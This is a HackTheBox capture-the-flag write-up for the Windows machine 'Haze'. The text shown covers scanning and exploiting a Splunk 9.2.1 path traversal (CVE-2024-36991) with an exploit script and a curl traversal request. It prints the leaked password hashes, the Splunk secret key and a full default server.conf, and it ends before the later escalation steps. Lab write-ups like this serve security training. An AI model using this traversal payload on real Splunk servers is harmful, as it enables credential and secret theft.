> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/haze.md).

# Haze

Splunk 9.2.1 path traversal (CVE-2024-36991) leaks secrets → decrypt LDAP creds → gMSA abuse → WriteOwner chain → Shadow Credentials → SeImpersonatePrivilege → SYSTEM on a Windows AD DC.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2F4SPqIiyvWWtXKi0Ij7yL%2Fimage.png?alt=media&amp;token=8ac11f36-94d3-4bb5-ae80-9415ecb65d87" alt=""><figcaption></figcaption></figure>

**Platform:** HackTheBox\
**Difficulty:** Hard\
**OS:** Windows Server 2022 (Active Directory)\
**Tags:** Splunk, CVE-2024-36991, Path Traversal, gMSA, Shadow Credentials, SeImpersonatePrivilege, AD Privilege Escalation

***

### Overview

HAZE is a Windows Active Directory machine centred on a Splunk Enterprise instance running with a known path-traversal vulnerability (CVE-2024-36991). Exploiting the vulnerability yields credentials and cryptographic material that, combined with a chain of AD misconfigurations (gMSA abuse, WriteOwner, Shadow Credentials), leads all the way to SYSTEM via `SeImpersonatePrivilege`.

The attack path in summary:

```
Splunk path traversal (CVE-2024-36991)
  → Splunk passwd / splunk.secret / authentication.conf
      → Decrypt LDAP bind password → paul.taylor / mark.adams
          → gMSA Haze-IT-Backup$ password dump
              → WriteOwner on Support_Services → full DACL control
                  → Shadow Credentials on edward.martin → user flag
                      → Splunk backup archive → alexander.green creds
                         → Splunk reverse shell → SeImpersonatePrivilege → root flag
```

***

### Enumeration

#### Nmap

An initial service scan against `10.129.232.50` reveals a classic Windows Domain Controller fingerprint:

```bash
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.232.50 -sCV

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-24 13:47:29Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2026-03-24T10:55:20
|_Not valid after:  2027-03-24T10:55:20
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2026-03-24T10:55:20
|_Not valid after:  2027-03-24T10:55:20
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2026-03-24T10:55:20
|_Not valid after:  2027-03-24T10:55:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2026-03-24T10:55:20
|_Not valid after:  2027-03-24T10:55:20
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open  http          Splunkd httpd
|_http-server-header: Splunkd
| http-title: Site doesnt have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.232.50:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry 
|_/
8088/tcp open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: 404 Not Found
8089/tcp open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_ssl-date: TLS randomness does not represent time
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-03-24T13:48:25
|_  start_date: N/A
|_clock-skew: 8h00m01s
```

Key findings:

* Domain: `haze.htb`, DC hostname: `dc01.haze.htb`
* **Splunk Enterprise** is running on ports 8000, 8088, 8089
* WinRM (5985) is open — useful later for shell access
* SMB signing is enabled and required

The Splunk SSL certificate subject is `SplunkServerDefaultCert/SplunkUser` (the default self-signed certificate), indicating the instance has not been hardened.

***

### Foothold — Splunk Path Traversal (CVE-2024-36991)

#### Identifying the Version

Browsing `http://haze.htb:8000` redirects to the Splunk login page. The server header and login page source reveal **Splunk version 9.2.1**.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FJ6mKpNUZKrlGf7BmA0el%2FPasted%20image%2020260324112940.png?alt=media&amp;token=bfdad845-bd78-4cbd-87e1-da84c1ef390f" alt="" width="367"><figcaption></figcaption></figure>

### Foothold — Splunk Path Traversal (CVE-2024-36991)

#### Identifying the Version

Browsing `http://haze.htb:8000` redirects to the Splunk login page. The server header and login page source reveal **Splunk version 9.2.1**.

```bash
┌──(kali㉿kali)-[~/Documents/haze/CVE-2024-36991]
└─$ python3 exploit.py -u http://haze.htb:8000 -s 1

Available sections:
1. Credentials & Secrets 🔱
2. Configuration Files 🔥
3. Logs & History [Might Get Freeze] 💀
4. System & Service Files [Might Get Freeze] 💀
5. Apps & Custom Scripts 🔥

[+] Running section 1

...SNIP...

```

1. **`/Program Files/Splunk/etc/passwd`** — Four SHA-512 Splunk user hashes:

```bash
admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1  
edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1  
mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/  
paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1
```

These SHA-512crypt hashes did not crack in reasonable time against `rockyou.txt`.\
2\) **`/Program Files/Splunk/etc/auth/splunk.secret`** — The Splunk encryption master secret:

```bash
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD
```

This secret is used by Splunk to encrypt sensitive values (passwords) stored in `.conf` files. Combined with an encrypted password from a config file, it allows full decryption.

**`/Program Files/Splunk/etc/auth/server.pem`** — The Splunk server certificate and encrypted private key. The private key passphrase (`password`) was later recovered from `server.conf`.

**`/Program Files/Splunk/var/run/splunk/session`** — 404 Not Found (path doesn't exist on Windows).

**`/Program Files/Splunk/etc/system/local/authentication.conf`** — LDAP authentication configuration:

#### Running the Exploit — Section 2 (Configuration Files)

Section 2 targeted `web.conf` and `inputs.conf`. Both returned 404 responses — these files do not exist in the local configuration directory, meaning the defaults apply.

#### Manually Fetching `server.conf`

The default `server.conf` is not in `system/local` but in `system/default`. Reading it manually:

```bash
┌──(kali㉿kali)-[~]
└─$ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/default/server.conf"
#   Version 9.2.1
# DO NOT EDIT THIS FILE!
# Changes to default files will be lost on update and are difficult to
# manage and support.
#
# Please make any changes to system defaults by overriding them in
# apps or $SPLUNK_HOME/etc/system/local
# (See "Configuration file precedence" in the web documentation).
#
# To override a specific setting, copy the name of the stanza and
# setting to the file where you wish to override it.
#
# This file contains possible attributes and values to configure SSL
# and HTTP server options.
#


[general]
serverName=$COMPUTERNAME
sessionTimeout=1h
invalidateSessionTokensOnLogout = false
logoutCacheRefreshInterval = 30s
pass4SymmKey = changeme
pass4SymmKey_minLength = 12
# The following 'allowRemoteLogin' setting controls remote management of your splunk instance.
#  - If set to 'always', all remote logins are allowed.
#  - If set to 'never', only local logins to splunkd will be allowed. Note that this will still allow
#    remote management through splunkweb if splunkweb is on the same server.
#  - If set to 'requireSetPassword' (default behavior):
#     1. In the free license, remote login is disabled.
#     2. In the pro license, remote login is only disabled for the admin user that has not changed their default password
allowRemoteLogin=requireSetPassword

tar_format=gnutar

access_logging_for_phonehome=true
hangup_after_phonehome=false

listenOnIPv6 = no
connectUsingIpVersion = auto

useHTTPServerCompression = true
useHTTPClientCompression = true

defaultHTTPServerCompressionLevel = 6
skipHTTPCompressionAcl = 127.0.0.1 ::1

parallelIngestionPipelines = 1
pipelineSetSelectionPolicy = round_robin
pipelineSetWeightsUpdatePeriod = 30
pipelineSetNumTrackingPeriods = 5
pipelineSetChannelSetCacheSize = 12

instanceType = download
numThreadsForIndexInitExecutor = 16
cleanRemoteStorageByDefault = false

legacyCiphers = decryptOnly
decommission_search_jobs_wait_secs = 0
decommission_search_jobs_min_wait_ratio = 0.15

python.version = force_python3

regex_cache_hiwater = 2500

# Specify whether the search process can have a long lifespan
enable_search_process_long_lifespan = true

# Specify a change in which .conf file(s) can increase the generation
#  of search configuration.
# - those "true" .conf files are allowed
# - otherwise, the "false" or unlisted .conf files are denied
conf_generation_include.alert_actions     = true
conf_generation_include.authentication    = false
conf_generation_include.authorize         = true
conf_generation_include.collections       = true
conf_generation_include.commands          = true
conf_generation_include.datamodels        = true
conf_generation_include.event_renderers   = true
conf_generation_include.eventtypes        = true
conf_generation_include.federated         = true
conf_generation_include.fields            = true
conf_generation_include.global-banner     = false
conf_generation_include.health            = false
conf_generation_include.history           = false
conf_generation_include.html              = false
conf_generation_include.indexes           = true
conf_generation_include.limits            = true
conf_generation_include.literals          = true
conf_generation_include.lookups           = true
conf_generation_include.macros            = true
conf_generation_include.manager           = true
conf_generation_include.messages          = true
conf_generation_include.metric_alerts     = true
conf_generation_include.metric_rollups    = false
conf_generation_include.models            = true
conf_generation_include.multikv           = true
conf_generation_include.nav               = true
conf_generation_include.outputs           = true
conf_generation_include.panels            = true
conf_generation_include.passwd            = false
conf_generation_include.passwords         = false
conf_generation_include.props             = true
conf_generation_include.savedsearches     = true
conf_generation_include.searchbnf         = false
conf_generation_include.searchscripts     = true
conf_generation_include.segmenters        = true
conf_generation_include.tags              = true
conf_generation_include.telemetry         = false
conf_generation_include.tos               = false
conf_generation_include.times             = true
conf_generation_include.transforms        = true
conf_generation_include.transactiontypes  = true
conf_generation_include.ui-prefs          = false
conf_generation_include.ui-tour           = false
conf_generation_include.user-prefs        = false
conf_generation_include.views             = false
conf_generation_include.viewstates        = false
conf_generation_include.visualizations    = false
conf_generation_include.workflow_actions  = false
conf_generation_include.workload_pools    = true
conf_generation_include.workload_rules    = true
conf_generation_include.workload_policy   = true


encrypt_fields = "server: :sslKeysfilePassword", "server: :sslPassword", "server: :pass4SymmKey", "server: :password", "outputs:tcpout:sslPassword", "outputs:tcpout:socksPassword","outputs:indexer_discovery:pass4SymmKey", "outputs:tcpout:token", "inputs:SSL:password", "inputs:SSL:sslPassword", "inputs:http:sslPassword", "inputs:http:sslKeysfilePassword", "inputs:splunktcptoken:token", "alert_actions:email:auth_password", "app:credential:password", "app:credential:sslPassword", "passwords:credential:password", "passwords:credential:sslPassword", "authentication: :bindDNpassword", "authentication: :sslKeysfilePassword", "authentication: :attributeQuerySoapPassword", "authentication: :scriptSecureArguments", "authentication: :sslPassword", "authentication: :accessKey", "web:settings:privKeyPassword", "web:settings:sslPassword", "server:indexer_discovery:pass4SymmKey", "server:clustermanager:pass4SymmKey", "server:dmc:pass4SymmKey", "server:kvstore:sslKeysPassword", "indexes: :remote.s3.access_key", "indexes: :remote.s3.secret_key", "indexes: :remote.s3.kms.key_id", "indexes: :remote.azure.access_key", "indexes: :remote.azure.secret_key", "indexes: :remote.azure.client_id", "indexes: :remote.azure.client_secret", "indexes: :remote.azure.tenant_id", "outputs: :remote.s3.access_key", "outputs: :remote.s3.secret_key", "outputs: :remote.s3.kms.key_id", "outputs: :remote.azure.access_key", "outputs: :remote.azure.secret_key", "outputs: :remote.azure.client_id", "outputs: :remote.azure.client_secret", "outputs: :remote.azure.tenant_id","server:scs:kvservice.principal.client.secret", "federated: :password"

[cascading_replication]
max_replication_threads = auto
max_replication_jobs = 5
cascade_replication_plan_reap_interval = 1h
cascade_replication_plan_age = 8h
cascade_replication_plan_fanout = auto
cascade_replication_plan_topology = size_balanced
cascade_replication_plan_select_policy = random
pass4SymmKey_minLength = 12

[sslConfig]
enableSplunkdSSL = true
useClientSSLCompression = false
useSplunkdClientSSLCompression = true
cliVerifyServerName = false
sslVerifyServerName = false
caTrustStore = splunk
# enableSplunkSearchSSL has been moved to web.conf/[settings]/enableSplunkWebSSL

# SSL settings
# The following provides modern TLS configuration. This configuration drops support
# for old Splunk versions (Splunk 5.x and earlier).
# To add support for Splunk 5.x:
#     - set sslVersions & sslVersionsForClient to tls
#     - and add AES256-SHA to the cipherSuite
# The following non-forward-secrecy ciphers were added to support the kv store:
#     AES256-GCM-SHA384:AES128-GCM-SHA256:AES128-SHA256.
sslVersions = tls1.2
sslVersionsForClient = tls1.2
cipherSuite = ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDH-ECDSA-AES256-GCM-SHA384:ECDH-ECDSA-AES128-GCM-SHA256:ECDH-ECDSA-AES128-SHA256:AES256-GCM-SHA384:AES128-GCM-SHA256:AES128-SHA256
ecdhCurves = prime256v1, secp384r1, secp521r1

sendStrictTransportSecurityHeader = false
allowSslCompression = true
allowSslRenegotiation = true

serverCert = $SPLUNK_HOME\etc\auth\server.pem
sslPassword = password
caCertFile = $SPLUNK_HOME\etc\auth\cacert.pem
certCreateScript = $SPLUNK_HOME\bin\splunk, createssl, server-cert
# DEPRECATED
caPath = $SPLUNK_HOME\etc\auth
# end of [sslConfig]

[pythonSslClientConfig]
sslVerifyServerCert = false
sslVerifyServerName = false

[httpServer]

# defines the stylesheet relative URL to apply to default Atom feeds;
# set to 'none' to not write out xsl-stylesheet directive
atomFeedStylesheet = /static/atom.xsl

max-age = 3600
follow-symlinks = false
# reject web accesses over 2GB in length
max_content_length = 2147483648

# When HTTP client streams data to HTTP server, server will timeout write operation after
# streamInWriteTimeout seconds if it cannot make write progress.
streamInWriteTimeout = 5

acceptFrom = *

# Automatically tune these limits:
maxThreads = 0
maxSockets = 0

forceHttp10 = auto
crossOriginSharingPolicy =
crossOriginSharingHeaders =
x_frame_options_sameorigin = true
allowBasicAuth = true
basicAuthRealm = /splunk
allowCookieAuth = true
allowWwwAuthHeader = true
cookieAuthHttpOnly = true
cookieAuthSecure = true
cookieSameSiteSecure = false
allowEmbedTokenAuth = true
dedicatedIoThreads = auto
keepAliveIdleTimeout = 7200
busyKeepAliveIdleTimeout = 12

[mimetype-extension-map]
gif = image/gif
html = text/html
htm = text/html
jpg = image/jpg
png = image/png
txt = text/plain
xml = text/xml
xsl = text/xml

[applicationsManagement]
allowInternetAccess = true
url = https://apps.splunk.com/api/apps
loginUrl = https://apps.splunk.com/api/account:login/
detailsUrl = https://apps.splunk.com/apps/id
updateHost = https://apps.splunk.com
updatePath = /api/apps:resolve/checkforupgrade
updateTimeout = 24h
caCertFile = $SPLUNK_HOME\etc\auth\appsCA.pem
caTrustStore = splunk
sslVerifyServerCert = true
sslVerifyServerName = false
sslCommonNameToCheck = splunkbase.splunk.com, apps.splunk.com, cdn.apps.splunk.com
sslAltNameToCheck = splunkbase.splunk.com, apps.splunk.com, cdn.apps.splunk.com

# The following provides modern TLS configuration that guarantees forward-
# secrecy and efficiency. This configuration drops support for old Splunk
# versions (e.g. Splunk 5.x).
# To add support for Splunk 5.x set sslVersions to tls and add this to the
# end of cipherSuite:
#     DHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES128-SHA:AES128-SHA
# and this, in case Diffie Hellman is not configured:
#     AES256-SHA:AES128-SHA
sslVersions = tls1.2
cipherSuite = ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
ecdhCurves = prime256v1, secp384r1, secp521r1

# disk usage processor settings
[diskUsage]
minFreeSpace = 5000
pollingFrequency = 100000
pollingTimerFrequency = 10

[diag]
# don't capture local auth information in troubleshooting files
EXCLUDE-auth = *\etc\auth\*
# don't capture the index files for lookups either (big! unlikely to help)
EXCLUDE-lookup-indexes = *\etc\*\lookups\*.tsidx
# don't capture ops.json for now, until we add password hash redaction.
EXCLUDE-opsjson = *\etc\system\replication\ops.json

upload_proto_host_port = https://api.splunk.com

#######
# Search string redaction.  These defaults are an unavoidably incomplete
# (best-effort) Splunk diag attempt to avoid capturing sensitive information
# present in search queries.  This applies to situations where people enter
# field values or search terms interactively, or where they drill down into a
# table, dataset, pivot entry etc. to filter on specific values.

# To ensure sensitive data in your environment that can occur in search queries
# will not be present in Splunk diag output, you can add pattern-based
# filtering for those terms or values.

# Note that Splunk diag tries hard not to capture event text in general, by
# avoiding capture of search results, lookup files, and certain types of
# diagnostics of index files by default.

# If you find yourself wanting to add an additional pattern, be sure to match
# only the bytes relevant to your data, not any additional characters.  Each
# match "consumes" a portion of the search string, so additional matched bytes
# could prevent other matches from operating.


# Rough catchall for larger number strings with separators which are
# 1: More likely to be an identifier than a simple larger number
# eg. no : 32424234242342342423424234233
#     yes: 2334-243-24234-43-234-423-342
# 2: Unlikely to be numbers that are needed for troubleshooting, like limit=5000000
# 3: Probably not IP addresses, or similar pretty useful information that isn't
# typically PII (personally identifying information)
SEARCHFILTERSIMPLE-pii = \b[-_\d]{2,}\d{3,}[-_]\d{3,}[-_\d]{2,}\b


# US social security numbers fit a well-known format and predate common
# practices for automatic validation/verification
SEARCHFILTERSIMPLE-socsec = \b\d{3}[-. ]\d{2}[-. ]\d{4}\b

# Payment card numbers as displayed for human readability may contain embedded
# dashes or spaces in them, though have many different clusterings of numbers
# across the separators internationally.  Probably most payment card data does
# not arrive in Splunk indexes at all, but when it does, it is usually a single
# number and will be caught by bignum, following.
SEARCHFILTERLUHN-paycard = \b(?:\d{4}[- ]){3}\d{3,4}\b

# Any significantly large string of only numbers which satisfies the Luhn
# algorithm is *probably* a financial number, though unfortunately the
# false-positive rate will be 10%.  This may lead to requests for unredacted
# snippets in some cases.
SEARCHFILTERLUHN-bignum = \b(?:\d{13,})\b

#
# default license configuration
# by default, this node is a manager that has a single
# peer (itself) and a single pool based on the single
# free stack that alots 100% to itself
#

[license]
manager_uri = self
# these timeouts only matter if you have a manager_uri set to remote manager
connection_timeout = 30
send_timeout = 30
receive_timeout = 30
squash_threshold = 2000
report_interval = 1m
strict_pool_quota = true
lm_ping_interval = 86400

[queue]
maxSize = 500KB
# look back time in minutes
cntr_1_lookback_time = 60s
cntr_2_lookback_time = 600s
cntr_3_lookback_time = 900s
# sampling interval is the same for all the counters of a particular queue
# and defaults to 1 sec
sampling_interval = 1s

[queue=fschangemanager_queue]
maxSize = 5MB
cntr_1_lookback_time = 60s
cntr_2_lookback_time = 600s
cntr_3_lookback_time = 900s
# sampling frequency is the same for all the counters of a particular queue
# and defaults to 1 sec
sampling_interval = 1s

[queue=AQ]
maxSize = 10MB
# look back time in minutes
cntr_1_lookback_time = 60s
cntr_2_lookback_time = 600s
cntr_3_lookback_time = 900s
# sampling frequency is the same for all the counters of a particular queue
# and defaults to 1 sec
sampling_interval = 1s

[queue=WEVT]
maxSize = 5MB
# look back time in minutes
cntr_1_lookback_time = 60s
cntr_2_lookback_time = 600s
cntr_3_lookback_time = 900s
# sampling frequency is the same for all the counters of a particular queue
# and defaults to 1 sec
sampling_interval = 1s

[queue=aggQueue]
maxSize = 1MB
# look back time in minutes
cntr_1_lookback_time = 60s
cntr_2_lookback_time = 600s
cntr_3_lookback_time = 900s
# sampling frequency is the same for all the counters of a particular queue
# and defaults to 1 sec
sampling_interval = 1s

[queue=rfsQueue]
maxSize = 10MB

[queue=parsingQueue]
maxSize = 6MB
# look back time in minutes
cntr_1_lookback_time = 60s
cntr_2_lookback_time = 600s
cntr_3_lookback_time = 900s
# sampling frequency is the same for all the counters of a particular queue
# and defaults to 1 sec
sampling_interval = 1s

[queue=remoteOutputQueue]
maxSize = 10MB

[queue=vixQueue]
maxSize = 8MB

[clustering]
mode = disabled
manager_switchover_mode = disabled
pass4SymmKey =
register_replication_address =
register_forwarder_address =
register_search_address =
executor_workers = 10
manual_detention = off
summary_replication = false
allowed_hbmiss_count = 3
pass4SymmKey_minLength = 12

cm_heartbeat_period = 1
cm_max_hbmiss_count = 3
# lowlevel timeouts for CM-to-CM communication for redundancy purposes
cm_com_timeout = 10

# lowlevel timeouts for intra-cluster communication
cxn_timeout = 60
send_timeout = 60
rcv_timeout = 60

# replication channel timeouts
rep_cxn_timeout = 60
rep_send_timeout = 60
rep_rcv_timeout = 60
rep_max_send_timeout = 180
rep_max_rcv_timeout = 180

# only valid for mode=manager
service_interval = 0
max_fixup_time_ms = 1000
replication_factor = 3
search_factor = 2
heartbeat_timeout = 60
restart_timeout = 60
streaming_replication_wait_secs = 60
quiet_period = 60
reporting_delay_period = 30
max_peer_build_load = 2
max_peer_rep_load = 5
max_peer_sum_rep_load = 5
searchable_targets = true
searchable_target_sync_timeout = 60
target_wait_time = 150
summary_wait_time = 660
commit_retry_time = 300
percent_peers_to_restart = 10
percent_peers_to_reload = 100
max_peers_to_download_bundle = 5
precompress_cluster_bundle = true
multisite = false
site_replication_factor = origin:2, total:3
site_search_factor = origin:1, total:2
available_sites =
site_mappings =
constrain_singlesite_buckets=true
access_logging_for_heartbeats=false
auto_rebalance_primaries = true
rebalance_primaries_execution_limit_ms = 0
commit_generation_execution_limit_ms = 0
idle_connections_pool_size = -1
use_batch_mask_changes = true
service_jobs_msec = 100
rebalance_threshold = 0.90
max_auto_service_interval = 1
service_execution_threshold_ms = 1500
buckets_to_summarize = primaries
maintenance_mode = false
backup_and_restore_primaries_in_maintenance = false
max_primary_backups_per_service = 10
searchable_rolling_peer_state_delay_interval = 60
searchable_rolling_site_down_policy = half
allow_default_empty_p4symmkey = false
decommission_force_finish_idle_time = 0
rolling_restart = restart
searchable_rebalance = false
rebalance_pipeline_batch_size = 60
rebalance_primary_failover_timeout = 75
rebalance_newgen_propagation_timeout = 60
rebalance_search_completion_timeout = 180
deferred_cluster_status_update = true
assign_primaries_to_all_sites = false
log_bucket_during_addpeer = false
enable_primary_fixup_during_maintenance = true
freeze_during_maintenance = false
bucketsize_mismatch_strategy = largest
max_concurrent_peers_joining = 10
rolling_restart_condition = batch_adding
enable_parallel_add_peer = true
primary_src_persist_secs = 604800

#only valid for mode=manager or mode=searchhead
generation_poll_interval = 5

#only valid for mode=searchhead
generation_max_staleness = 60s

# only needed for mode=peer or mode=searchhead
manager_uri =

# only needed for mode=peer
heartbeat_period = 1
notify_scan_period = 10
notify_buckets_period = 10
enableS2SHeartbeat = true
s2sHeartbeatTimeout = 600
throwOnBucketBuildReadError = false
max_replication_errors = 3
search_files_retry_timeout = 600
re_add_on_bucket_request_error = false
decommission_search_jobs_wait_secs = 180
notify_scan_min_period = 10
summary_update_batch_size = 10
summary_registration_batch_size = 1000
decommission_node_force_timeout = 300
buckets_per_addpeer = 1000
max_nonhot_rep_kBps = 0
warm_bucket_replication_pre_upload = false
recreate_bucket_max_per_service = 20000
bucketsize_upload_preference = largest
upload_rectifier_timeout_secs = 2
ack_factor = 0
enable_encrypt_bundle = true

[introspection:generator:disk_objects]
disabled = true

[introspection:generator:disk_objects__summaries]
collectionPeriodInSecs = 1800

[introspection:generator:disk_objects__fishbucket]
disabled = false

[introspection:generator:disk_objects__bundle_replication]
disabled = false

[introspection:generator:resource_usage]
disabled = true

[introspection:generator:resource_usage__iostats]
disabled = true

[introspection:generator:resource_usage__iowait]
disabled = true

[introspection:generator:kvstore]
disabled = true

[introspection:distributed-indexes]
disabled = true
collectionPeriodInSecs = 3600

[shclustering]
disabled = true
register_replication_address =
executor_workers = 50
adhoc_searchhead = false
no_artifact_replications = false
precompress_artifacts = true
captain_is_adhoc_searchhead = false
async_replicate_on_proxy = true
preferred_captain = true
prevent_out_of_sync_captain = true
pass4SymmKey_minLength = 12
manual_detention = off

captain_dump_service_periods = 500
scheduling_heuristic = scheduler_load_based
long_running_jobs_poll_period = 600

election_timeout_ms = 60000
election_timeout_2_hb_ratio = 12
raft_rpc_backoff_time_ms = 5000

# lowlevel timeouts for intra-cluster communication
cxn_timeout = 60
send_timeout = 60
rcv_timeout = 60

# lowlevel timeouts for intra-cluster communication for the raft protocol
cxn_timeout_raft = 2
send_timeout_raft = 5
rcv_timeout_raft = 5


log_heartbeat_append_entries = false

# replication channel timeouts
rep_cxn_timeout = 60
rep_send_timeout = 60
rep_rcv_timeout = 60
rep_max_send_timeout = 600
rep_max_rcv_timeout = 600

# only valid for mode=manager
replication_factor = 3
heartbeat_timeout = 60
restart_timeout = 600
quiet_period = 60
max_peer_rep_load = 5
target_wait_time = 150
percent_peers_to_restart = 10
rolling_restart_with_captaincy_exchange = true
access_logging_for_heartbeats=false

rolling_restart = restart
decommission_search_jobs_wait_secs = 180

# only needed for mode=peer
heartbeat_period = 5
enableS2SHeartbeat = true
s2sHeartbeatTimeout = 600

#proxying related
sid_proxying = true
ss_proxying = true
ra_proxying = true
alert_proxying = true

csv_journal_rows_per_hb = 10000

#
# Replicate changes to UI- and search-related configurations.
#

conf_replication_period = 5
conf_replication_max_pull_count = 1000
conf_replication_max_push_count = 100
conf_replication_max_json_value_size = 15MB

conf_replication_include.alert_actions     = true
conf_replication_include.authentication    = true
conf_replication_include.authorize         = true
conf_replication_include.collections       = true
conf_replication_include.commands          = true
conf_replication_include.datamodels        = true
conf_replication_include.event_renderers   = true
conf_replication_include.eventtypes        = true
conf_replication_include.federated         = true
conf_replication_include.fields            = true
conf_replication_include.global-banner     = true
conf_replication_include.health            = true
conf_replication_include.history           = false
conf_replication_include.html              = true
conf_replication_include.limits            = true
conf_replication_include.literals          = true
conf_replication_include.lookups           = true
conf_replication_include.macros            = true
conf_replication_include.manager           = true
conf_replication_include.models            = true
conf_replication_include.multikv           = true
conf_replication_include.nav               = true
conf_replication_include.panels            = true
conf_replication_include.passwd            = true
conf_replication_include.passwords         = true
conf_replication_include.props             = true
conf_replication_include.savedsearches     = true
conf_replication_include.searchbnf         = true
conf_replication_include.searchscripts     = true
conf_replication_include.segmenters        = true
conf_replication_include.tags              = true
conf_replication_include.telemetry         = true
conf_replication_include.tos               = true
conf_replication_include.times             = true
conf_replication_include.transforms        = true
conf_replication_include.transactiontypes  = true
conf_replication_include.ui-prefs          = true
conf_replication_include.ui-tour           = true
conf_replication_include.user-prefs        = true
conf_replication_include.views             = true
conf_replication_include.viewstates        = true
conf_replication_include.workflow_actions  = true
conf_replication_include.workload_pools   = true
conf_replication_include.workload_rules   = true
conf_replication_include.workload_policy  = true
conf_replication_include.metric_rollups   = true
conf_replication_include.metric_alerts    = true
conf_replication_include.web-features     = true

# Includelists and excludelists for configuration replication summaries.
conf_replication_summary.includelist.refine.local = (system|(apps\*)|users(\_reserved)?\*\*)\(local\...|metadata\local.meta)
conf_replication_summary.includelist.passwd       = passwd
conf_replication_summary.includelist.lookups      = (system|(apps\*)|users(\_reserved)?\*\*)\lookups\*
conf_replication_summary.includelist.repo         = system\replication\*.json
